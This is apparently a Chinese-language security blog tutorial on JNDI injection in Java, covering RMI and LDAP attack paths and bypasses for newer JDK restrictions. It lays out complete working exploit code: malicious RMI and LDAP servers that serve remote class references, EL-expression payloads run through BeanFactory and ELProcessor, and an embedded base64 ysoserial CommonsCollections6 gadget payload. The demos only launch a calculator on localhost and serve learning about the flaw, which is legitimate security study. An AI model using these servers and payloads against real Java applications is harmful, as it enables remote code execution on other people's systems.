前言 我们在爆出的Java相关的漏洞复现中经常遇到JNDI注入,比如在最近的log4j2 命令执行漏洞中就涉及到JNDI注入。
此篇文章将详细讲解JNDI注入原理、与RMI和LDAP等服务配合注入的例子。
JNDI是什么
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface)
之前我们有提到过RMI 的概念,但在实际安全测试中,RMI远程动态类加载的条件十分苛刻,这一点在Java反序列化漏洞之利用链分析集合(4) 中的codebase命令执行 有提到。
The JNDI architecture consists of an API and a service provider interface (SPI). Java applications use the JNDI API to access a variety of naming and directory services.
JNDI实际上就是提供一个API接口,让客户端能够用一个name来访问到不同的服务。
通过上图可以发现,JNDI architecture由四个部分组成, 而之前提到的RMI动态加载类 便是直接发生在SPI接口 上
JNDI Reference + RMI 由来
In order to bind Java objects in a Naming or Directory service, it is possible to use Java serialization to get the byte array representation of an object at a given state. However, it is not always possible to bind the serialized state of an object because it might be too large or it might be inadequate.
For such needs, JNDI defined Naming References (or just References from now on) so that objects could be stored in the Naming or Directory service indirectly by binding a reference that could be decoded by the Naming Manager and resolved to the original object.
我们希望通过java序列化的方式来得到远程的object,但有时候可能不会成功。因此JNDI提出了Naming references - 即返回一个reference,该reference会在Naming Manager 上被解析(而非SPI接口上), 最后再由JNDI的请求端去加载指定地址上的object。
关键点在于,当我们使用Naming references 时,动态加载的过程将不再发生在SPI 上,因此我们之前提到的RMI的codebase动态加载的限制不复存在,但我们也有了在Naming Manager上的新的限制: com.sun.jndi.rmi.object.trustURLCodebase需要设为true ,否则将无法客户端加载codebase上的远程类(默认为false)
JDK 6u141、7u131、8u121之后: 增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
攻击实现 此处我们将伪造一个LocateRegistry ,返回恶意的Reference object
JNDIServer.java (攻击方)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.net.MalformedURLException;import java.rmi.AlreadyBoundException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class JNDIServer { public static void main (String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException, NamingException { LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("EvilObject" ,"EvilObject" ,"http://127.0.0.1:8080/" ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); Naming.bind("rmi://127.0.0.1:1099/EvilObject" ,wrapper); System.out.println("远程服务启动成功" ); } }
此处Reference类并不继承UnicastRemoteObject,所以我们需要用ReferenceWrapper来对其进行包装 - ReferenceWrapper是继承UnicastRemoteObject的且可被序列化。
随后将恶意reference绑定在RMI LocateRegistry上即可。
TEST.java (被攻击方)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class TEST { public static void main (String[] args) { try { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" ,"true" ); Context context = new InitialContext (); context.lookup("rmi://127.0.0.1:1099/EvilObject" ); } catch (NamingException e) { e.printStackTrace(); } } }
EvilObject.java(恶意类)
1 2 3 4 5 6 7 8 9 10 import java.io.IOException;public class EvilObject { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
接下来,我们在Intellij中build project,我们需要模拟的是攻击方JNDIServer.class与EvilObject.class(恶意类)均不和TEST.class放在一起,否则Test.class会在本地找到EvilObject.class,从而不会下载并加载codebase指向的恶意class
在生成的EvilObject.class 下使用python启动web服务
python -m http.server 8080
随后运行JNDIServer 和TEST ,计算器成功弹出
lookup流程分析 限制可能很多人会有困惑,为什么一个**context.lookup()**就能触发反序列化漏洞呢?
我们对Test类调试一下:
F7单步步入,
看一下堆栈
前面流程太多就不分析了,我们注意到在RegistryContext.lookup()中,我们从registery得到了Reference类型的obj
,随后返回了 decodeObject()
我们再在decodeObject处下个断点,跟进去看看是什么
继续跟到getObjectInstance
继续跟进getObjectFactoryFromReference()
最后计算器成功弹出
JNDI+RMI绕过高版本JDK限制 由来 JDK 6u141、7u131、8u121之后: 增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
那有没有什么办法能够绕过这样的限制呢?
绕过思路 我将JAVA版本切换到1.8.0_181 ,删除掉之前设置的System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
被攻击方 TEST.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class TEST { public static void main (String[] args) { try { Context context = new InitialContext (); context.lookup("rmi://127.0.0.1:1099/EvilObject" ); } catch (NamingException e) { e.printStackTrace(); } } }
运行后提示:
我们下断点来跟一下具体是怎么检测的。
一直跟到decodeObject()
此处会check传过来的instance里是否有FactoryClassLocation,同时checktrustURLCodebase是否为flase,如果满足以上条件,则抛出异常。我们已知trustURLCodebase 是无法改变的,因为我们之前在客户端并未设置System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
,所以该variable一定是false 。但是我们可以让传过来的reference不带FactoryClassLocation,这样就不会抛出异常了。
继续往下看,我们发现,当我们绕过了这个if statement以后,会进入NamingManager.getObjectInstance()
我们先修改一下server端,在继续来调试一下看看
1 2 3 4 5 6 7 8 9 10 11 public class JNDIServer { public static void main (String[] args) throws IOException, AlreadyBoundException, NamingException, ClassNotFoundException, NoSuchMethodException { LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("EvilObject" , new StringRefAddr ("1" , "2" )); ReferenceWrapper wrapper = new ReferenceWrapper (reference); Naming.bind("rmi://127.0.0.1:1099/EvilObject" ,wrapper); System.out.println("远程服务启动成功" ); } }
我们再看回Server的代码,我们发现构造reference的时候可以传入factory,但是后面还需要factoryLocation,我们直接传null就好了
1 2 3 4 5 6 7 8 9 10 public class JNDIServer { public static void main (String[] args) throws IOException, AlreadyBoundException, NamingException, ClassNotFoundException, NoSuchMethodException { LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("EvilObject" ,"EvilObject" ,null ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); Naming.bind("rmi://127.0.0.1:1099/EvilObject" ,wrapper); System.out.println("远程服务启动成功" ); } }
再次调试客户端:
在最后一行,根据加载的class返回了一个ObjectFactory 类型的instance。 因此,我们需要寻找一个客户端本地存在的实现ObjectFactory类的class来利用,同时构造函数得是无参构造函数。
光是构造了一个instance并不够,因为客户端上不可能有一个我们已经放上去的恶意类,要不然也太简单了。
继续返回NamingManager.getObjectInstance()
我们发现,在获取到factory instance后,还执行了factory的getObjectInstance方法
那么我们现在确定需要找到满足以下条件的class :
implements ObjectFactory class
有【无参构造函数】
其**getObjectInstance()**方法能有办法执行RCE命令
接下来就是漫漫长路…
BeanFactory 可能是经验太少了,见得也少,对这种能够执行RCE的类的敏感度还不够高,我自己没能第一眼找出来可以利用的类,这里借鉴网上的文章,得知BeanFactory可以作为这个被我们利用的class。
我们继续分析。
在**BeanFactory.getObjectInstance()**中,我们往下翻,看到了反射,说明该类确实是可能被我们所利用的
我们从开头看起:
,首先RMIserver返回的应该是ResourceRef类
那么我们现在又需要找一个class作为beanclass,且该class的构造函数为无参构造函数,执行方法的parameter类型需要为String
自然我们想到了EL表达式
下面是EL表达式 执行calc 的写法:
1 2 3 4 5 6 7 8 9 String poc1="\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")" ; String poc2="\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" ; String poc3 = "''.getClass().forName('javax.script.ScriptEngineManager')" +".newInstance().getEngineByName('nashorn')" +".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")" ;new ELProcessor ().eval(poc1);
一切都分析完毕,我们可以开始构造server端的代码了。
代码构造 恶意Server端构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class JNDIServer { public static void main (String[] args) throws IOException, AlreadyBoundException, NamingException, ClassNotFoundException, NoSuchMethodException { String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" + ".newInstance().getEngineByName('nashorn')" + ".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")" ; String poc1 = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" + ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" + ".invoke(null),'calc.exe')}" ; String poc2 = "''.getClass().forName('javax.script.ScriptEngineManager')" + ".newInstance().getEngineByName('JavaScript')" + ".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")" ; LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" ,null ,"" ,"" ,true ,"org.apache.naming.factory.BeanFactory" ,null ); resourceRef.add(new StringRefAddr ("forceString" , "hello=eval" )); resourceRef.add(new StringRefAddr ("hello" ,poc)); ReferenceWrapper wrapper = new ReferenceWrapper (resourceRef); Naming.bind("rmi://127.0.0.1:1099/EvilObject" ,wrapper); System.out.println("远程服务启动成功" ); }
这里需要注意,在向resourceRef添加StringRefAddr的时候,需要保证
1 2 resourceRef.add(new StringRefAddr ("forceString" , "hello=eval" )); resourceRef.add(new StringRefAddr ("hello" ,poc));
假设不一样,如果下面的代码是resourceRef.add(new StringRefAddr("x",poc));
那么在之后获取method的时候,会返回空值。
受攻击方:Test.java
1 2 3 4 5 6 7 8 9 10 public class TEST { public static void main (String[] args) { try { Context context = new InitialContext (); context.lookup("rmi://127.0.0.1:1099/EvilObject" ); } catch (NamingException e) { e.printStackTrace(); } } }
总结 除了查询了BeanFactory可以被利用,以及EL表达式的相关代码(因为不会)以外,其他均是我自己独立审计的过程,并未照抄代码去跟,希望能锻炼自己的代码审计能力。虽然依然很菜,但是感觉到了有明显的进步。
这一节写的很乱,但也是整个完整审计过程的复现。
JNDI+LDAP注入 由来 为了绕过JNDI+RMI的限制,大佬们又盯上了JNDI+LDAP,LDAP服务也能返回JNDI Reference对象,利用过程与之前的JNDI+RMI基本相同。
在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
攻击实现 攻击方:自定义LDAP服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class LDAPInj { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) throws IOException { int port = 7777 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL ("http://localhost:8080/#EvilLDAP" ))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
我们使用拦截器,来拦截修改返回entry的attribute
被攻击方: TEST.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class TEST { public static void main (String[] args) { try { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" ,"true" ); Context context = new InitialContext (); context.lookup("ldap://127.0.0.1:7777/#EvilLDAP" ); } catch (NamingException e) { e.printStackTrace(); } } }
**InitialContext()**是使用JNDI的接口
方法一直接将完整地址(包括服务类型)都写在lookup中,方法二预先设定相关codebase配置
攻击流程分析 我们要了解,LDAP在使用search 功能的时候,实质上,是会返回一系列entry ,entry中会包含各种attributes
举个例子,比如我想要查询某些数据,可以通过search的功能来搜索,例如:
它返回的不是object,而是attribute ,因此,正常来说,这个search function是不存在RCE漏洞的。
在Blackhat 2016 中大佬们有提到:
LDAP 中有个SearchConrols.setReturningObjFlag(),当它为true的时候,表明我们的返回结果中会包含一个instance,同时LDAP返回的entry会根据attribute来重新构建一个 instance ,,这一点我们先记住了。
触发的代码是lookup() ,我们猜测是不是lookup()里面有instance呢?
调试一下被攻击方: TEST.java :
前面一系列的调用就不说了,关键在LdapCtx.c_lookup()
看到了熟悉的SearchControls 、setReturningObjFlag 和**doSearch()**方法。
继续往下走
,我们发现decodeObject()的参数是attributes,
进去看看:
继续跟进decodeReference(),发现里面就是在获取attributes的值,然后用这些attributes新建一个 reference ,最后返回。
然后回到**LdapCtx.c_lookup(),最后走到了 getObjectInstance()**方法
往下发现了我们在之前Reference+RMI案例中一样的funciton - getObjectFactoryFromReference()
接下来就是从远程codebase加载class
执行到loadClass,弹出了计算器。
总结 简单总结一下,JNDI+LDAP注入的流程
JNDI的lookup()参数可控,攻击者修改参数为恶意的LDAP服务器地址
攻击者构造的LDAP服务器使用拦截器,修改response,在返回的entry中添加attributes - javaClassName, javaCodeBase, objectClass, javaFactory。
修改后的response被返回给客户端,客户端根据attributes重新生成一个reference类型的object,并通过该reference远程加载codebase上的恶意class
整个流程到此结束。
JNDI+LDAP绕过高版本JDK限制 由来 在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,那么我们能否绕过该检测呢?
首次尝试 同样是将client的lookup()进行断点,我们跟到VersionHelper12.loadClass()
1 2 3 4 5 6 7 8 9 10 11 12 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true" .equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null ; } }
这里返回空,导致我们无法RCE。
同样的,我们只能考虑加载本地Class
在**NamingManager.getObjectFactoryFromReference()**中,我们可以看到如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
我们注意到,加载后的class会被转换成ObjectFactory 类,并新建一个instance 。
因此我们需要找到一个implements ObjectFactory 的class。
继续往下执行,返回到了DirectoryManager.getObjectInstance()
发现这里执行了factory.getObjectInstance() ,还记得前面的JNDI+RMI绕过高版本JDK限制 的章节吗,我们用到了BeanFactory来反射执行了ELProcessor ,那在这里我们是否可以继续这样使用呢?答案是不可以。
在DirectoryManager.getObjectInstance()中,将ref转换成了Reference类,而我们的 BeanFactory.getObjectInstance()中要求obj必须为 ResourceRef 。JNDI在接收到LDAP server传过来的entry后,会根据attribute重新生成Reference类的object,所以导致我们无法满足BeanFactory 的要求。
所以我们不能利用本地Class中的BeanFactory来进行RCE的触发,还有没有其他办法呢?
再次尝试之反序列化数据 Alvaro Muñoz 和Oleksandr Miroshhe 在Black Hat 提到了Entry Poisoning with Serialized Objects ,正如我们之前所说,JNDI在接收到Entry后会根据其attributes来reconstruct a reference object 。
有四种类型的java object representation可以被存储在Directory Service中:
Serialized Objects(javaSerializedObject)
JavaClassName, javaClassNames, javaCodebase, javaSerializedData
JNDI References(javaNamingReference)
JavaClassName, javaClassNames, javaCodebase, javaReferenceAddress, javaFactory
Marshalled Objects(javaMarshalledObject)
javaClassName, javaClassNames, javaSerializedData
Remote Location(Deprecated)
javaClassName, javaRemoteLocation
很明显,我们让传入的attributes是Serialized Objects的特征,这样我们就可以使用本地的gadgets了。
接下来,我将使用cc6 的反序列化链来实现:
在windows上不能直接base64编码很麻烦,所以我把ysoserial的jar包拖到kali中生成
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections6 "calc"|base64
Payload 恶意Server端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 package jndi;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import java.text.ParseException;public class LDAPInj { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) throws IOException { int port = 7777 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL ("http://localhost:8080/#EvilLDAP" ))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaSerializedData" , Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=" )); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
受攻击Client:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package jndi;import javax.el.ELProcessor;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class TEST { public static void main (String[] args) { try { Hashtable<String,String> env= new Hashtable <String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory" ); env.put(Context.PROVIDER_URL, "ldap://localhost:7777" ); Context context = new InitialContext (env); context.lookup("Exploit" ); } catch (NamingException e) { e.printStackTrace(); } } }
一些题外话 一些题外话:在学习JNDI与LDAP结合注入的过程中,我翻阅了大量资料,发现网上基本都是各种复刻版,实在不适合新手学习,后来去看了Alvaro Muñoz 和Oleksandr Miroshhe 在Black Hat 的演讲,感觉豁然开朗。在此文中,我难以将我遇到的坑全部讲清楚,建议动手操作,最好是先去看看Black Hat 的视频,其中将JNDI注入、LDAP和一些相关应用场景讲的非常清楚。
Reference A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land
HPE Security Fortify, Software Security Research
Java RMI反序列化与JNDI注入入门